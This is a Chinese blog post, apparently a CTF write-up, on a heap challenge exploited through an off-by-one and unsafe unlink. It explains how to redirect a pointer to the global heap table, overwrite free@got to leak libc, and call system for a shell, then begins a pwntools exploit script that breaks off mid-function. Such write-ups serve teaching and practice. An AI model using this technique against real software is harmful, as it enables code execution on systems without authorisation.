PWN_Heap_UUnlink

本文介绍了PWN_Heap_UUnlink这个基础的堆利用题目,详细阐述了其原理和exploit过程。通过利用堆块管理的UUnlink特性,逐步升级权限,从控制用户数据到篡改堆全局数据,最终实现GetShell。讲解了如何在堆free时修改标志位,合并堆块,并利用此方法控制堆的地址,获取libc函数调用的实际地址,以改变程序执行流程。
摘要由CSDN通过智能技术生成

UUnlink

题目描述

基础的堆题目(创建、释放、修改)
带有off by one在写堆数据时

题目原理

此类uunlink题目有一定套路

  1. 整体上来说,就是不断将堆的控制权[[升级]],跳出去。
    1. 升级前:原本只能控制系统给定的堆块区域数据(称用户数据)
    2. 升级后:利用unlink将堆地址篡改为了堆管理区域(相当于获得了系统对于堆整体区域的管理)
  2. GetShell:
    1. 利用堆free时,检查该堆标志位为释放状态,随后glibc会将其与其他释放块进行向上合并
    2. 合并后,用户可直接控制堆的全局数据(跳出了仅仅只能控制用户数据区域的权限)
    3. fd = 0x00602300-0x18是固定的套路,相当于指向了堆块管理区域,里面包含了所有堆的地址储存
    4. 获得全局堆数据篡改权之后,将free@got改成puts@plt输出了程序真实调用libc函数的地址
    5. 通过计算偏移,得到system。再通过(4)同样的方法更改函数调用控制EIP

Exp


#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./uunlink')
if local:
    p = process('./uunlink')
    libc = elf.libc
else:
    p = remote('172.16.229.161',7001)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值